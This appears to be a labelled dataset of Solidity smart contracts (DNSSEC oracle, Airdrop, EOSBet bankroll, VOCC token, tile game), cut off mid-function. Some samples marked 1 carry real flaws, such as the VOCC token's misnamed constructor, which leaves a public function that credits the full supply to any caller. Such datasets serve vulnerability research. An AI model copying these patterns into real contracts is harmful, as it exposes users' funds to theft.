emit NSEC3DigestUpdated(id, digest);
}
function submitRRSets(bytes memory data, bytes memory proof) public returns (bytes) {
uint offset = 0;
while(offset < data.length) {
bytes memory input = data.substring(offset + 2, data.readUint16(offset));
offset += input.length + 2;
bytes memory sig = data.substring(offset + 2, data.readUint16(offset));
offset += sig.length + 2;
proof = submitRRSet(input, sig, proof);
}
return proof;
}
function submitRRSet(bytes memory input, bytes memory sig, bytes memory proof)
public returns(bytes memory rrs)
{
bytes memory name;
(name, rrs) = validateSignedSet(input, sig, proof);
uint32 inception = input.readUint32(RRSIG_INCEPTION);
uint16 typecovered = input.readUint16(RRSIG_TYPE);
RRSet storage set = rrsets[keccak256(name)][typecovered];
if (set.inserted > 0) {
require(inception >= set.inception);
}
if (set.hash == keccak256(rrs)) {
return;
}
rrsets[keccak256(name)][typecovered] = RRSet({
inception: inception,
inserted: uint64(now),
hash: bytes20(keccak256(rrs))
});
emit RRSetUpdated(name, rrs);
}
function deleteRRSet(uint16 deleteType, bytes deleteName, bytes memory nsec, bytes memory sig, bytes memory proof) public {
bytes memory nsecName;
bytes memory rrs;
(nsecName, rrs) = validateSignedSet(nsec, sig, proof);
require(rrsets[keccak256(deleteName)][deleteType].inception <= nsec.readUint32(RRSIG_INCEPTION));
for (RRUtils.RRIterator memory iter = rrs.iterateRRs(0); !iter.done(); iter.next()) {
if(iter.dnstype == DNSTYPE_NSEC) {
checkNsecName(iter, nsecName, deleteName, deleteType);
} else if(iter.dnstype == DNSTYPE_NSEC3) {
checkNsec3Name(iter, nsecName, deleteName, deleteType);
} else {
revert("Unrecognised record type");
}
delete rrsets[keccak256(deleteName)][deleteType];
return;
}
revert();
}
function checkNsecName(RRUtils.RRIterator memory iter, bytes memory nsecName, bytes memory deleteName, uint16 deleteType) private pure {
uint rdataOffset = iter.rdataOffset;
uint nextNameLength = iter.data.nameLength(rdataOffset);
uint rDataLength = iter.nextOffset - iter.rdataOffset;
require(rDataLength > nextNameLength);
int compareResult = deleteName.compareNames(nsecName);
if(compareResult == 0) {
require(!iter.data.checkTypeBitmap(rdataOffset + nextNameLength, deleteType));
} else {
bytes memory nextName = iter.data.substring(rdataOffset,nextNameLength);
require(compareResult > 0);
if(nsecName.compareNames(nextName) < 0) {
require(deleteName.compareNames(nextName) < 0);
}
}
}
function checkNsec3Name(RRUtils.RRIterator memory iter, bytes memory nsecName, bytes memory deleteName, uint16 deleteType) private view {
uint16 iterations = iter.data.readUint16(iter.rdataOffset + NSEC3_ITERATIONS);
uint8 saltLength = iter.data.readUint8(iter.rdataOffset + NSEC3_SALT_LENGTH);
bytes memory salt = iter.data.substring(iter.rdataOffset + NSEC3_SALT, saltLength);
bytes32 deleteNameHash = nsec3Digests[iter.data.readUint8(iter.rdataOffset)].hash(salt, deleteName, iterations);
uint8 nextLength = iter.data.readUint8(iter.rdataOffset + NSEC3_SALT + saltLength);
require(nextLength <= 32);
bytes32 nextNameHash = iter.data.readBytesN(iter.rdataOffset + NSEC3_SALT + saltLength + 1, nextLength);
bytes32 nsecNameHash = nsecName.base32HexDecodeWord(1, uint(nsecName.readUint8(0)));
if(deleteNameHash == nsecNameHash) {
require(!iter.data.checkTypeBitmap(iter.rdataOffset + NSEC3_SALT + saltLength + 1 + nextLength, deleteType));
} else {
require(deleteNameHash > nsecNameHash);
if(nextNameHash > nsecNameHash) {
require(deleteNameHash < nextNameHash);
}
}
}
function rrdata(uint16 dnstype, bytes memory name) public view returns (uint32, uint64, bytes20) {
RRSet storage result = rrsets[keccak256(name)][dnstype];
return (result.inception, result.inserted, result.hash);
}
function validateSignedSet(bytes memory input, bytes memory sig, bytes memory proof) internal view returns(bytes memory name, bytes memory rrs) {
require(validProof(input.readName(RRSIG_SIGNER_NAME), proof));
uint32 inception = input.readUint32(RRSIG_INCEPTION);
uint32 expiration = input.readUint32(RRSIG_EXPIRATION);
uint16 typecovered = input.readUint16(RRSIG_TYPE);
uint8 labels = input.readUint8(RRSIG_LABELS);
uint rrdataOffset = input.nameLength(RRSIG_SIGNER_NAME) + 18;
rrs = input.substring(rrdataOffset, input.length - rrdataOffset);
name = validateRRs(rrs, typecovered);
require(name.labelCount(0) == labels);
require(expiration > now);
require(inception < now);
verifySignature(name, input, sig, proof);
return (name, rrs);
}
function validProof(bytes name, bytes memory proof) internal view returns(bool) {
uint16 dnstype = proof.readUint16(proof.nameLength(0));
return rrsets[keccak256(name)][dnstype].hash == bytes20(keccak256(proof));
}
function validateRRs(bytes memory data, uint16 typecovered) internal pure returns (bytes memory name) {
for (RRUtils.RRIterator memory iter = data.iterateRRs(0); !iter.done(); iter.next()) {
require(iter.class == DNSCLASS_IN);
if(name.length == 0) {
name = iter.name();
} else {
require(name.length == data.nameLength(iter.offset));
require(name.equals(0, data, iter.offset, name.length));
}
require(iter.dnstype == typecovered);
}
}
function verifySignature(bytes name, bytes memory data, bytes memory sig, bytes memory proof) internal view {
uint signerNameLength = data.nameLength(RRSIG_SIGNER_NAME);
require(signerNameLength <= name.length);
require(data.equals(RRSIG_SIGNER_NAME, name, name.length - signerNameLength, signerNameLength));
uint offset = 18 + signerNameLength;
uint16 dnstype = proof.readUint16(proof.nameLength(0));
if (dnstype == DNSTYPE_DS) {
require(verifyWithDS(data, sig, offset, proof));
} else if (dnstype == DNSTYPE_DNSKEY) {
require(verifyWithKnownKey(data, sig, proof));
} else {
revert("Unsupported proof record type");
}
}
function verifyWithKnownKey(bytes memory data, bytes memory sig, bytes memory proof) internal view returns(bool) {
uint signerNameLength = data.nameLength(RRSIG_SIGNER_NAME);
uint8 algorithm = data.readUint8(RRSIG_ALGORITHM);
uint16 keytag = data.readUint16(RRSIG_KEY_TAG);
for (RRUtils.RRIterator memory iter = proof.iterateRRs(0); !iter.done(); iter.next()) {
require(proof.nameLength(0) == signerNameLength);
require(proof.equals(0, data, RRSIG_SIGNER_NAME, signerNameLength));
if (verifySignatureWithKey(iter.rdata(), algorithm, keytag, data, sig)) {
return true;
}
}
return false;
}
function verifyWithDS(bytes memory data, bytes memory sig, uint offset, bytes memory proof) internal view returns(bool) {
uint8 algorithm = data.readUint8(RRSIG_ALGORITHM);
uint16 keytag = data.readUint16(RRSIG_KEY_TAG);
for (RRUtils.RRIterator memory iter = data.iterateRRs(offset); !iter.done(); iter.next()) {
if (iter.dnstype != DNSTYPE_DNSKEY) {
return false;
}
bytes memory keyrdata = iter.rdata();
if (verifySignatureWithKey(keyrdata, algorithm, keytag, data, sig)) {
return verifyKeyWithDS(iter.name(), keyrdata, keytag, algorithm, proof);
}
}
return false;
}
function verifySignatureWithKey(bytes memory keyrdata, uint8 algorithm, uint16 keytag, bytes data, bytes sig) internal view returns (bool) {
if (algorithms[algorithm] == address(0)) {
return false;
}
if (keyrdata.readUint8(DNSKEY_PROTOCOL) != 3) {
return false;
}
if (keyrdata.readUint8(DNSKEY_ALGORITHM) != algorithm) {
return false;
}
uint16 computedkeytag = computeKeytag(keyrdata);
if (computedkeytag != keytag) {
return false;
}
if (keyrdata.readUint16(DNSKEY_FLAGS) & DNSKEY_FLAG_ZONEKEY == 0) {
return false;
}
return algorithms[algorithm].verify(keyrdata, data, sig);
}
function verifyKeyWithDS(bytes memory keyname, bytes memory keyrdata, uint16 keytag, uint8 algorithm, bytes memory data)
internal view returns (bool)
{
for (RRUtils.RRIterator memory iter = data.iterateRRs(0); !iter.done(); iter.next()) {
if (data.readUint16(iter.rdataOffset + DS_KEY_TAG) != keytag) {
continue;
}
if (data.readUint8(iter.rdataOffset + DS_ALGORITHM) != algorithm) {
continue;
}
uint8 digesttype = data.readUint8(iter.rdataOffset + DS_DIGEST_TYPE);
Buffer.buffer memory buf;
buf.init(keyname.length + keyrdata.length);
buf.append(keyname);
buf.append(keyrdata);
if (verifyDSHash(digesttype, buf.buf, data.substring(iter.rdataOffset, iter.nextOffset - iter.rdataOffset))) {
return true;
}
}
return false;
}
function verifyDSHash(uint8 digesttype, bytes data, bytes digest) internal view returns (bool) {
if (digests[digesttype] == address(0)) {
return false;
}
return digests[digesttype].verify(data, digest.substring(4, digest.length - 4));
}
function computeKeytag(bytes memory data) internal pure returns (uint16) {
uint ac;
for (uint i = 0; i < data.length; i += 2) {
ac += data.readUint16(i);
}
ac += (ac >> 16) & 0xFFFF;
return uint16(ac & 0xFFFF);
}
} | 0 |
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Airdrop {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address owner = 0x0;
uint256 public rate;
modifier isOwner {
assert(owner == msg.sender);
_;
}
event TokenDropped(
address indexed sender,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(ERC20 _token) public
{
require(_token != address(0));
owner = msg.sender;
token = _token;
}
function () external payable {
sendAirDrops(msg.sender);
}
function sendAirDrops(address _beneficiary) public payable
{
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = 50 * (10 ** 6);
_processAirdrop(_beneficiary, tokens);
emit TokenDropped(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
}
function collect(uint256 _weiAmount) isOwner public {
address thisAddress = this;
owner.transfer(thisAddress.balance);
}
function _preValidatePurchase( address _beneficiary, uint256 _weiAmount) internal
{
require(_beneficiary != address(0));
require(_weiAmount >= 1 * (10 ** 15));
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processAirdrop(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
} | 1 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EOSBetGameInterface {
uint256 public DEVELOPERSFUND;
uint256 public LIABILITIES;
function payDevelopersFund(address developer) public;
function receivePaymentForOraclize() payable public;
function getMaxWin() public view returns(uint256);
}
contract EOSBetBankrollInterface {
function payEtherToWinner(uint256 amtEther, address winner) public;
function receiveEtherFromGameAddress() payable public;
function payOraclize(uint256 amountToPay) public;
function getBankroll() public view returns(uint256);
}
contract ERC20 {
function totalSupply() constant public returns (uint supply);
function balanceOf(address _owner) constant public returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract EOSBetBankroll is ERC20, EOSBetBankrollInterface {
using SafeMath for *;
address public OWNER;
uint256 public MAXIMUMINVESTMENTSALLOWED;
uint256 public WAITTIMEUNTILWITHDRAWORTRANSFER;
uint256 public DEVELOPERSFUND;
mapping(address => bool) public TRUSTEDADDRESSES;
address public DICE;
address public SLOTS;
mapping(address => uint256) contributionTime;
string public constant name = "EOSBet Stake Tokens";
string public constant symbol = "EOSBETST";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
event FundBankroll(address contributor, uint256 etherContributed, uint256 tokensReceived);
event CashOut(address contributor, uint256 etherWithdrawn, uint256 tokensCashedIn);
event FailedSend(address sendTo, uint256 amt);
modifier addressInTrustedAddresses(address thisAddress){
require(TRUSTEDADDRESSES[thisAddress]);
_;
}
function EOSBetBankroll(address dice, address slots) public payable {
require (msg.value > 0);
OWNER = msg.sender;
uint256 initialTokens = msg.value * 100;
balances[msg.sender] = initialTokens;
totalSupply = initialTokens;
emit Transfer(0x0, msg.sender, initialTokens);
TRUSTEDADDRESSES[dice] = true;
TRUSTEDADDRESSES[slots] = true;
DICE = dice;
SLOTS = slots;
WAITTIMEUNTILWITHDRAWORTRANSFER = 0 seconds;
MAXIMUMINVESTMENTSALLOWED = 500 ether;
}
function checkWhenContributorCanTransferOrWithdraw(address bankrollerAddress) view public returns(uint256){
return contributionTime[bankrollerAddress];
}
function getBankroll() view public returns(uint256){
return SafeMath.sub(address(this).balance, DEVELOPERSFUND);
}
function payEtherToWinner(uint256 amtEther, address winner) public addressInTrustedAddresses(msg.sender){
if (! winner.send(amtEther)){
emit FailedSend(winner, amtEther);
if (! OWNER.send(amtEther)){
emit FailedSend(OWNER, amtEther);
}
}
}
function receiveEtherFromGameAddress() payable public addressInTrustedAddresses(msg.sender){
}
function payOraclize(uint256 amountToPay) public addressInTrustedAddresses(msg.sender){
EOSBetGameInterface(msg.sender).receivePaymentForOraclize.value(amountToPay)();
}
function () public payable {
uint256 currentTotalBankroll = SafeMath.sub(getBankroll(), msg.value);
uint256 maxInvestmentsAllowed = MAXIMUMINVESTMENTSALLOWED;
require(currentTotalBankroll < maxInvestmentsAllowed && msg.value != 0);
uint256 currentSupplyOfTokens = totalSupply;
uint256 contributedEther;
bool contributionTakesBankrollOverLimit;
uint256 ifContributionTakesBankrollOverLimit_Refund;
uint256 creditedTokens;
if (SafeMath.add(currentTotalBankroll, msg.value) > maxInvestmentsAllowed){
contributionTakesBankrollOverLimit = true;
contributedEther = SafeMath.sub(maxInvestmentsAllowed, currentTotalBankroll);
ifContributionTakesBankrollOverLimit_Refund = SafeMath.sub(msg.value, contributedEther);
}
else {
contributedEther = msg.value;
}
if (currentSupplyOfTokens != 0){
creditedTokens = SafeMath.mul(contributedEther, currentSupplyOfTokens) / currentTotalBankroll;
}
else {
creditedTokens = SafeMath.mul(contributedEther, 100);
}
totalSupply = SafeMath.add(currentSupplyOfTokens, creditedTokens);
balances[msg.sender] = SafeMath.add(balances[msg.sender], creditedTokens);
contributionTime[msg.sender] = block.timestamp;
if (contributionTakesBankrollOverLimit){
msg.sender.transfer(ifContributionTakesBankrollOverLimit_Refund);
}
emit FundBankroll(msg.sender, contributedEther, creditedTokens);
emit Transfer(0x0, msg.sender, creditedTokens);
}
function cashoutEOSBetStakeTokens(uint256 _amountTokens) public {
uint256 tokenBalance = balances[msg.sender];
require(_amountTokens <= tokenBalance
&& contributionTime[msg.sender] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp
&& _amountTokens > 0);
uint256 currentTotalBankroll = getBankroll();
uint256 currentSupplyOfTokens = totalSupply;
uint256 withdrawEther = SafeMath.mul(_amountTokens, currentTotalBankroll) / currentSupplyOfTokens;
uint256 developersCut = withdrawEther / 100;
uint256 contributorAmount = SafeMath.sub(withdrawEther, developersCut);
totalSupply = SafeMath.sub(currentSupplyOfTokens, _amountTokens);
balances[msg.sender] = SafeMath.sub(tokenBalance, _amountTokens);
DEVELOPERSFUND = SafeMath.add(DEVELOPERSFUND, developersCut);
msg.sender.transfer(contributorAmount);
emit CashOut(msg.sender, contributorAmount, _amountTokens);
emit Transfer(msg.sender, 0x0, _amountTokens);
}
function cashoutEOSBetStakeTokens_ALL() public {
cashoutEOSBetStakeTokens(balances[msg.sender]);
}
function transferOwnership(address newOwner) public {
require(msg.sender == OWNER);
OWNER = newOwner;
}
function changeWaitTimeUntilWithdrawOrTransfer(uint256 waitTime) public {
require (msg.sender == OWNER && waitTime <= 6048000);
WAITTIMEUNTILWITHDRAWORTRANSFER = waitTime;
}
function changeMaximumInvestmentsAllowed(uint256 maxAmount) public {
require(msg.sender == OWNER);
MAXIMUMINVESTMENTSALLOWED = maxAmount;
}
function withdrawDevelopersFund(address receiver) public {
require(msg.sender == OWNER);
EOSBetGameInterface(DICE).payDevelopersFund(receiver);
EOSBetGameInterface(SLOTS).payDevelopersFund(receiver);
uint256 developersFund = DEVELOPERSFUND;
DEVELOPERSFUND = 0;
receiver.transfer(developersFund);
}
function emergencySelfDestruct() public {
require(msg.sender == OWNER);
selfdestruct(msg.sender);
}
function totalSupply() constant public returns(uint){
return totalSupply;
}
function balanceOf(address _owner) constant public returns(uint){
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success){
if (balances[msg.sender] >= _value
&& _value > 0
&& contributionTime[msg.sender] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp
&& _to != address(this)){
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
function transferFrom(address _from, address _to, uint _value) public returns(bool){
if (allowed[_from][msg.sender] >= _value
&& balances[_from] >= _value
&& _value > 0
&& contributionTime[_from] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp
&& _to != address(this)){
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
function approve(address _spender, uint _value) public returns(bool){
if(_value > 0){
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
else {
return false;
}
}
function allowance(address _owner, address _spender) constant public returns(uint){
return allowed[_owner][_spender];
}
} | 0 |
pragma solidity ^0.4.25 ;
contract VOCC_I104_20181211 {
mapping (address => uint256) public balanceOf;
string public name = " VOCC_I104_20181211 " ;
string public symbol = " VOCC_I104_20181211_subDT " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 19800000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 |
pragma solidity ^0.4.21;
library BWUtility {
function ceil(uint _amount, uint _multiple) pure public returns (uint) {
return ((_amount + _multiple - 1) / _multiple) * _multiple;
}
function isAdjacent(uint8 _x1, uint8 _y1, uint8 _x2, uint8 _y2) pure public returns (bool) {
return ((_x1 == _x2 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_y1 == _y2 && (_x2 - _x1 == 1 || _x1 - _x2 == 1))) ||
((_x2 - _x1 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_x1 - _x2 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1)));
}
function toTileId(uint8 _x, uint8 _y) pure public returns (uint16) {
return uint16(_x) << 8 | uint16(_y);
}
function fromTileId(uint16 _tileId) pure public returns (uint8, uint8) {
uint8 y = uint8(_tileId);
uint8 x = uint8(_tileId >> 8);
return (x, y);
}
function getBoostFromTile(address _claimer, address _attacker, address _defender, uint _blockValue) pure public returns (uint, uint) {
if (_claimer == _attacker) {
return (_blockValue, 0);
} else if (_claimer == _defender) {
return (0, _blockValue);
}
}
}
contract BWData {
address public owner;
address private bwService;
address private bw;
address private bwMarket;
uint private blockValueBalance = 0;
uint private feeBalance = 0;
uint private BASE_TILE_PRICE_WEI = 1 finney;
mapping (address => User) private users;
mapping (uint16 => Tile) private tiles;
struct User {
uint creationTime;
bool censored;
uint battleValue;
}
struct Tile {
address claimer;
uint blockValue;
uint creationTime;
uint sellPrice;
}
struct Boost {
uint8 numAttackBoosts;
uint8 numDefendBoosts;
uint attackBoost;
uint defendBoost;
}
constructor() public {
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
modifier isValidCaller {
if (msg.sender != bwService && msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
function setBwServiceValidCaller(address _bwService) public isOwner {
bwService = _bwService;
}
function setBwValidCaller(address _bw) public isOwner {
bw = _bw;
}
function setBwMarketValidCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function addUser(address _msgSender) public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime == 0);
user.creationTime = block.timestamp;
}
function hasUser(address _user) view public isValidCaller returns (bool) {
return users[_user].creationTime != 0;
}
function getTile(uint16 _tileId) view public isValidCaller returns (address, uint, uint, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue, currentTile.creationTime, currentTile.sellPrice);
}
function getTileClaimerAndBlockValue(uint16 _tileId) view public isValidCaller returns (address, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue);
}
function isNewTile(uint16 _tileId) view public isValidCaller returns (bool) {
Tile storage currentTile = tiles[_tileId];
return currentTile.creationTime == 0;
}
function storeClaim(uint16 _tileId, address _claimer, uint _blockValue) public isValidCaller {
tiles[_tileId] = Tile(_claimer, _blockValue, block.timestamp, 0);
}
function updateTileBlockValue(uint16 _tileId, uint _blockValue) public isValidCaller {
tiles[_tileId].blockValue = _blockValue;
}
function setClaimerForTile(uint16 _tileId, address _claimer) public isValidCaller {
tiles[_tileId].claimer = _claimer;
}
function updateTileTimeStamp(uint16 _tileId) public isValidCaller {
tiles[_tileId].creationTime = block.timestamp;
}
function getCurrentClaimerForTile(uint16 _tileId) view public isValidCaller returns (address) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return 0;
}
return currentTile.claimer;
}
function getCurrentBlockValueAndSellPriceForTile(uint16 _tileId) view public isValidCaller returns (uint, uint) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return (0, 0);
}
return (currentTile.blockValue, currentTile.sellPrice);
}
function getBlockValueBalance() view public isValidCaller returns (uint){
return blockValueBalance;
}
function setBlockValueBalance(uint _blockValueBalance) public isValidCaller {
blockValueBalance = _blockValueBalance;
}
function getFeeBalance() view public isValidCaller returns (uint) {
return feeBalance;
}
function setFeeBalance(uint _feeBalance) public isValidCaller {
feeBalance = _feeBalance;
}
function getUserBattleValue(address _userId) view public isValidCaller returns (uint) {
return users[_userId].battleValue;
}
function setUserBattleValue(address _userId, uint _battleValue) public isValidCaller {
users[_userId].battleValue = _battleValue;
}
function verifyAmount(address _msgSender, uint _msgValue, uint _amount, bool _useBattleValue) view public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime != 0);
if (_useBattleValue) {
require(_msgValue == 0);
require(user.battleValue >= _amount);
} else {
require(_amount == _msgValue);
}
}
function addBoostFromTile(Tile _tile, address _attacker, address _defender, Boost memory _boost) pure private {
if (_tile.claimer == _attacker) {
require(_boost.attackBoost + _tile.blockValue >= _tile.blockValue);
_boost.attackBoost += _tile.blockValue;
_boost.numAttackBoosts += 1;
} else if (_tile.claimer == _defender) {
require(_boost.defendBoost + _tile.blockValue >= _tile.blockValue);
_boost.defendBoost += _tile.blockValue;
_boost.numDefendBoosts += 1;
}
}
function calculateBattleBoost(uint16 _tileId, address _attacker, address _defender) view public isValidCaller returns (uint, uint) {
uint8 x;
uint8 y;
(x, y) = BWUtility.fromTileId(_tileId);
Boost memory boost = Boost(0, 0, 0, 0);
if (y != 255) {
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y+1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y+1)], _attacker, _defender, boost);
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y+1)], _attacker, _defender, boost);
}
}
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y)], _attacker, _defender, boost);
}
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y)], _attacker, _defender, boost);
}
if (y != 0) {
if(x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y-1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y-1)], _attacker, _defender, boost);
if(x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y-1)], _attacker, _defender, boost);
}
}
boost.attackBoost = (boost.attackBoost / 10 * boost.numAttackBoosts);
boost.defendBoost = (boost.defendBoost / 10 * boost.numDefendBoosts);
return (boost.attackBoost, boost.defendBoost);
}
function censorUser(address _userAddress, bool _censored) public isValidCaller {
User storage user = users[_userAddress];
require(user.creationTime != 0);
user.censored = _censored;
}
function deleteTile(uint16 _tileId) public isValidCaller {
delete tiles[_tileId];
}
function setSellPrice(uint16 _tileId, uint _sellPrice) public isValidCaller {
tiles[_tileId].sellPrice = _sellPrice;
}
function deleteOffer(uint16 _tileId) public isValidCaller {
tiles[_tileId].sellPrice = 0;
}
}
interface ERC20I {
function transfer(address _recipient, uint256 _amount) external returns (bool);
function balanceOf(address _holder) external view returns (uint256);
}
contract BWService {
address private owner;
address private bw;
address private bwMarket;
BWData private bwData;
uint private seed = 42;
uint private WITHDRAW_FEE = 20;
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
modifier isValidCaller {
if (msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
event TileClaimed(uint16 tileId, address newClaimer, uint priceInWei, uint creationTime);
event TileFortified(uint16 tileId, address claimer, uint addedValueInWei, uint priceInWei, uint fortifyTime);
event TileAttackedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint attackTime);
event TileDefendedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint defendTime);
event BlockValueMoved(uint16 sourceTileId, uint16 destTileId, address owner, uint movedBlockValue, uint postSourceValue, uint postDestValue, uint moveTime);
event UserBattleValueUpdated(address userAddress, uint battleValue, bool isWithdraw);
constructor(address _bwData) public {
bwData = BWData(_bwData);
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
function setValidBwCaller(address _bw) public isOwner {
bw = _bw;
}
function setValidBwMarketCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function storeInitialClaim(address _msgSender, uint16[] _claimedTileIds, uint _claimAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
require(_claimAmount >= 1 finney * tileCount);
require(_claimAmount % tileCount == 0);
uint valuePerBlockInWei = _claimAmount / tileCount;
if (_useBattleValue) {
subUserBattleValue(_msgSender, _claimAmount, false);
}
addGlobalBlockValueBalance(_claimAmount);
uint16 tileId;
bool isNewTile;
for (uint16 i = 0; i < tileCount; i++) {
tileId = _claimedTileIds[i];
isNewTile = bwData.isNewTile(tileId);
require(isNewTile);
emit TileClaimed(tileId, _msgSender, valuePerBlockInWei, block.timestamp);
bwData.storeClaim(tileId, _msgSender, valuePerBlockInWei);
}
}
function fortifyClaims(address _msgSender, uint16[] _claimedTileIds, uint _fortifyAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
uint balance = address(this).balance;
require(balance + _fortifyAmount > balance);
require(_fortifyAmount % tileCount == 0);
uint addedValuePerTileInWei = _fortifyAmount / tileCount;
require(_fortifyAmount >= 1 finney * tileCount);
address claimer;
uint blockValue;
for (uint16 i = 0; i < tileCount; i++) {
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_claimedTileIds[i]);
require(claimer != 0);
require(claimer == _msgSender);
if (_useBattleValue) {
subUserBattleValue(_msgSender, addedValuePerTileInWei, false);
}
fortifyClaim(_msgSender, _claimedTileIds[i], addedValuePerTileInWei);
}
}
function fortifyClaim(address _msgSender, uint16 _claimedTileId, uint _fortifyAmount) private {
uint blockValue;
uint sellPrice;
(blockValue, sellPrice) = bwData.getCurrentBlockValueAndSellPriceForTile(_claimedTileId);
uint updatedBlockValue = blockValue + _fortifyAmount;
emit TileFortified(_claimedTileId, _msgSender, _fortifyAmount, updatedBlockValue, block.timestamp);
bwData.updateTileBlockValue(_claimedTileId, updatedBlockValue);
addGlobalBlockValueBalance(_fortifyAmount);
}
function random(uint _upper) private returns (uint) {
